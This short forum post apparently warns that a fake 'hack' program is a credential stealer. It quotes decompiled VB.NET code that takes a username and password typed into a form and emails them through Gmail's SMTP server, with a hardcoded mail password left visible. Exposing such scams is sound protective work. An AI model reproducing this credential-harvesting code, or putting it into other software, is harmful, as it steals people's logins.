This isn't even a hack. (6 MB .exe file without nothing, lol)
He only sends your credentials to his e-mail.
Quote:
Private Sub Button1_Click(sender As Object, e As EventArgs)
Dim flag As Boolean = Operators.CompareString(AddressOf Me.TextBox1.Text, "", False) = 0
If flag Then
Interaction.MsgBox("*BLANK*", MsgBoxStyle.OkOnly, Nothing)
End If
flag = (Operators.CompareString(AddressOf Me.TextBox2.Text, "", False) = 0)
If flag Then
Interaction.MsgBox("*BLANK*", MsgBoxStyle.OkOnly, Nothing)
End If
Dim smtpClient As SmtpClient = New SmtpClient()
Dim mailMessage As MailMessage = New MailMessage()
smtpClient.Credentials = New NetworkCredential("", "Anilh104")
smtpClient.Port = 587
smtpClient.Host = "smtp.gmail.com"
smtpClient.EnableSsl = True
smtpClient.Send(New MailMessage() With { .From = New MailAddress("", AddressOf Me.TextBox1.Text), .[To] = { "" }, .Subject = AddressOf Me.TextBox1.Text, .Body = AddressOf Me.TextBox2.Text })
Interaction.MsgBox("Successfull.", MsgBoxStyle.OkOnly, Nothing)
End Sub